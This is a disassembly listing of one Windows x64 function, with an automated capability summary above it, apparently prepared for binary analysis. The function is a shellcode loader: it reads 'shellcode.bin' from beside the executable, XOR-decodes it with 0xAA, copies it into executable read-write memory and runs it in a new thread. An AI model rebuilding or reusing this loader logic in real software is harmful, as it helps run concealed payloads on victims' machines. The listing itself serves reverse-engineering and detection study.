Function at 0x14001149c
Capabilities:
Allocate or change rwx memory
Create thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
jmp 0x14001b5a0
push rbp
push rdi
sub rsp, 0x598
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xfa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140025018]
xor rax, rbp
mov qword [rbp + 0x550], rax
lea rcx, [0x14002b0f5]
call fcn.14001169a
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x138]
call fcn.1400112f8
nop
mov r8, 0xffffffffffffffff
lea rdx, [0x140021594]
lea rcx, [rbp + 0x138]
call fcn.140011523
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0xffffffffffffffff
je 0x14001b66e
mov r9, qword [rbp + 0x178]
xor r8d, r8d
lea rdx, [rbp + 0x418]
lea rcx, [rbp + 0x138]
call fcn.14001137a
mov qword [rbp + 0x548], rax
mov rdx, qword [rbp + 0x548]
lea rcx, [rbp + 0x138]
call fcn.1400111f4
lea rcx, [rbp + 0x418]
call fcn.140011159
lea r8, str._shellcode.bin
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x198]
call fcn.140011546
nop
lea rcx, [rbp + 0x198]
call fcn.1400110b4
lea rdx, [0x1400215ac]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0
jne 0x14001b716
lea rdx, str.Error:_cant_open_file
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110d7
lea rdx, [rbp + 0x198]
mov rcx, rax
call fcn.1400115fa
lea rdx, [0x14001104b]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x454], 1
lea rcx, [rbp + 0x198]
call fcn.140011159
nop
lea rcx, [rbp + 0x138]
call fcn.140011159
mov eax, dword [rbp + 0x454]
jmp 0x14001ba57
mov r8d, 2
xor edx, edx
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ucrtbased.dll_fseek]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ucrtbased.dll_ftell]
mov dword [rbp + 0x1f4], eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ucrtbased.dll_fseek]
movsxd rax, dword [rbp + 0x1f4]
mov rcx, rax
call fcn.1400112e4
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov qword [rbp + 0x218], rax
movsxd rax, dword [rbp + 0x1f4]
mov r9, qword [rbp + 0x1d8]
mov r8, rax
mov edx, 1
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ucrtbased.dll_fread]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ucrtbased.dll_fclose]
mov byte [rbp + 0x234], 0xaa
movzx r8d, byte [rbp + 0x234]
mov edx, dword [rbp + 0x1f4]
mov rcx, qword [rbp + 0x218]
call fcn.140011744
movsxd rax, dword [rbp + 0x1f4]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0
jne 0x14001b893
lea rdx, str.Error:_cannot_allocate_memory_for_shellcode.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110d7
lea rdx, [0x14001104b]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x498], rax
mov rcx, qword [rbp + 0x498]
call fcn.140011339
cmp qword [rbp + 0x498], 0
jne 0x14001b84c
mov qword [rbp + 0x548], 0
jmp 0x14001b865
mov qword [rbp + 0x218], 0x8123
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x548], rax
mov dword [rbp + 0x4b4], 1
lea rcx, [rbp + 0x198]
call fcn.140011159
nop
lea rcx, [rbp + 0x138]
call fcn.140011159
mov eax, dword [rbp + 0x4b4]
jmp 0x14001ba57
movsxd rax, dword [rbp + 0x1f4]
mov r8, rax
mov rdx, qword [rbp + 0x218]
mov rcx, qword [rbp + 0x258]
call fcn.14001134d
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x258]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
jne 0x14001b99a
lea rdx, str.Error:_cannot_create_thread_for_shellcode_execution.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110d7
lea rdx, [0x14001104b]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x4d8], rax
mov rcx, qword [rbp + 0x4d8]
call fcn.140011339
cmp qword [rbp + 0x4d8], 0
jne 0x14001b953
mov qword [rbp + 0x548], 0
jmp 0x14001b96c
mov qword [rbp + 0x218], 0x8123
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x548], rax
mov dword [rbp + 0x4f4], 1
lea rcx, [rbp + 0x198]
call fcn.140011159
nop
lea rcx, [rbp + 0x138]
call fcn.140011159
mov eax, dword [rbp + 0x4f4]
jmp 0x14001ba57
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, str.Shellcode_executed.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110d7
lea rdx, [0x14001104b]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x518], rax
mov rcx, qword [rbp + 0x518]
call fcn.140011339
cmp qword [rbp + 0x518], 0
jne 0x14001ba00
mov qword [rbp + 0x548], 0
jmp 0x14001ba19
mov qword [rbp + 0x218], 0x8123
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x548], rax
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rbp + 0x534], 0
lea rcx, [rbp + 0x198]
call fcn.140011159
nop
lea rcx, [rbp + 0x138]
call fcn.140011159
mov eax, dword [rbp + 0x534]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140021040]
call fcn.140011587
mov rax, rdi
mov rcx, qword [rbp + 0x550]
xor rcx, rbp
call fcn.140011348
lea rsp, [rbp + 0x568]
pop rdi
pop rbp
ret